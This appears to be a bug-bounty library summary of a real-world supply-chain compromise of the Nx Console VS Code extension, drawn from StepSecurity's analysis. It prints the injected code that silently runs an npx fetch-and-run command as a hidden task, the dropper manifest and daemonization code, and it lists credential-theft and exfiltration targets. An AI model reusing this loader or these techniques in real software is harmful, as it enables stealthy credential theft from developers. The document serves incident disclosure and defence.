# Nx Console VS Code Extension Compromised

Stolen contributor GitHub token let attackers publish malicious Nx Console v18.95.0 that fetched an orphan-commit payload stealing developer credentials and CI secrets.

- Payout: Real-world hack
- Severity: critical
- Program: Nx Console
- Analysis by: StepSecurity
- Disclosed: 2026-06-02
- Write-up quality: 9/10
- Original: https://www.stepsecurity.io/blog/nx-console-vs-code-extension-compromised
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-nx-console-vs-code-extension-compromised
- Tags: area:os domain:desktop domain:oss impact:data-leak impact:integrity kind:incident platform:threat-intel sev:critical tech:aws tech:github-actions tech:nodejs technique:source-review vuln:dependency-confusion vuln:secrets-leak

**Target:** VS Code extension (nrwl.angular-console) and nrwl/nx GitHub repo
**Root cause:** A contributor's GitHub PAT was scraped in a prior supply chain attack; it had push access to nrwl/nx and access to the VSCE_PAT marketplace publishing credential, letting the attacker push an orphan commit and publish a backdoored extension version.
**Steps:**
1. Attacker pushes orphan commit `558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2` (zero parents, unreachable from branches) to nrwl/nx using stolen token; tree replaces monorepo with package.json (`nx-next`, bin `./index.js`, dep `bun@^1.3.14`) and 498KB obfuscated index.js.
2. Attacker publishes nrwl.angular-console v18.95.0 to VS Code Marketplace with 2,777 bytes injected into minified main.js using stolen VSCE_PAT.
3. On workspace open, injected `Efn(td)` checks globalState key `nxConsole.mcpExtensionInstalledSha`; if mismatched, runs hidden VS Code Task `npx -y github:nrwl/nx#558b09d7...` with `NX_CONSOLE=true`.
4. npx fetches the orphan commit as package `nx-next`, installs `bun`, executes index.js via bin entry.
5. Payload passes anti-analysis gates (os.cpus().length >= 4, GITHUB_WORKFLOW_REF self-exclusion, timezone filter, tmpdir lock), then daemonizes via detached spawn with `__DAEMONIZED=1`.
6. Daemon runs collectors for Vault, npm (OIDC exchange), AWS IMDS/ECS/Secrets Manager, GitHub tokens/Actions secrets, filesystem (incl. ~/.claude/), 1Password op CLI; on Linux probes `sudo -n true` and injects sudoers rule.
7. Exfiltrates via HTTPS C2, GitHub API commits, and DNS tunneling; AES-256-GCM data encrypted to embedded RSA public key (RSA-OAEP, SHA-256).
8. Installs `~/.local/share/kitty/cat.py` and LaunchAgent `com.user.kitty-monitor.plist` polling `api.github.com/search/commits?q=firedalazer` for RSA-PSS-signed commands.
**How found:** StepSecurity threat intel reconstructed the attack from the published VSIX diff, the orphan commit SHA, and deobfuscation of the 498KB payload (custom Base64 string table, PBKDF2 layer, hex identifiers, encrypted blobs). Nx team detected the rogue publish within 11 minutes via anomalous marketplace activity reported by community members.
**Exploitation:** Stolen PAT gave push to nrwl/nx and marketplace publish rights. Attacker planted an orphan commit reachable only by SHA, then shipped an extension version whose activate() silently ran `npx -y github:nrwl/nx#<sha>` as a hidden background task. The fetched package installed Bun and ran a 498KB obfuscated dropper that daemonized, harvested credentials from cloud metadata, secret stores, password managers and process memory, exfiltrated over three channels, and installed a signed-command Python backdoor. Live ~11 minutes; GitHub later disclosed ~3,800 internal repos exfiltrated via a poisoned VS Code extension on an employee device.
**Escalation:** Payload included Sigstore/Fulcio/SLSA logic plus stolen npm OIDC tokens, enabling publishing downstream npm packages with valid signed provenance; also targeted ~/.claude/ AI assistant configs and attempted Linux root via passwordless sudo.
**Insight:** Orphan commits (zero parents, unreachable from branches, fetchable only by SHA) are an ideal dead-drop for supply chain payloads because repo browsing and standard dependency scanners never see them; when auditing an extension or package, diff the published artifact against the repo build and check for `npx github:owner/repo#<sha>` invocations in activate() paths.

## Proof of concept (copied exactly from the original report)

**Injected extension code fetching orphan commit payload**

```
var U0 = require("vscode"),
 G5t = "558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2",
 xfn = "nxConsole.mcpExtensionInstalledSha",
 $xs = new Set([127, 9009]); // known error codes to ignore

async function Uxs(t, e) {
 let n = `npx -y github:nrwl/nx#${G5t}`;
 let i = new U0.Task(
 { type: "nx" },
 U0.TaskScope.Workspace,
 "install-mcp-extension", // disguised task name
 "nx",
 new U0.ShellExecution(n, {
 cwd: e,
 env: { ...process.env, NX_CONSOLE: "true" }
 })
 );
 i.presentationOptions.focus = false; // hidden from user
 // On exit code 0, stores SHA in globalState to prevent re-fire
 // Silently swallows errors
}

function Efn(t) {
 if (t.globalState.get(xfn) !== G5t) {
 let n = U0.workspace.workspaceFolders[0].uri.fsPath;
 Uxs(t, n);
 }
 // ... continues with legitimate nx.init command registration
}
```

**Dropper package.json with bun dependency**

```
{
 "name": "nx-next",
 "version": "1.0.0",
 "bin": { "nx-next": "./index.js" },
 "dependencies": { "bun": "^1.3.14" }
}
```

**Self-daemonization fork code**

```
function h1() {
 if (process.env.__DAEMONIZED) return false;
 spawn(process.execPath, process.argv.slice(1), {
 detached: true,
 stdio: 'ignore',
 cwd: process.cwd(),
 env: { ...process.env, __DAEMONIZED: '1' }
 });
 child.unref();
 return true; // parent exits, daemon continues
}
```

